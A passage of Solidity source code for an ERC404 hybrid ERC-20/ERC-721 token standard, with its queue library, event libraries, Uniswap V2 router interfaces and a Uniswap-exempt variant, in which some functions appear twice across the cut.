== type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } //SPDX-License-Identifier: MIT abstract contract ERC404UniswapV2Exempt is ERC404 { constructor(address uniswapV2Router_) { IUniswapV2Router02 uniswapV2RouterContract = IUniswapV2Router02( uniswapV2Router_ ); // Set the Uniswap v2 router as exempt. _setERC721TransferExempt(uniswapV2Router_, true); // Determine the Uniswap v2 pair address for this token. address uniswapV2Pair = _getUniswapV2Pair( uniswapV2RouterContract.factory(), uniswapV2RouterContract.WETH() ); // Set the Uniswap v2 pair as exempt. _setERC721TransferExempt(uniswapV2Pair, true); } function _getUniswapV2Pair( address uniswapV2Factory_, address weth_ ) private view returns (address) { address thisAddress = address(this); (address token0, address token1) = thisAddress < weth_ ? (thisAddress, weth_) : (weth_, thisAddress); return address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", uniswapV2Factory_, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" ) ) ) ) ); } }
pragma solidity ^0.8.20; interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on 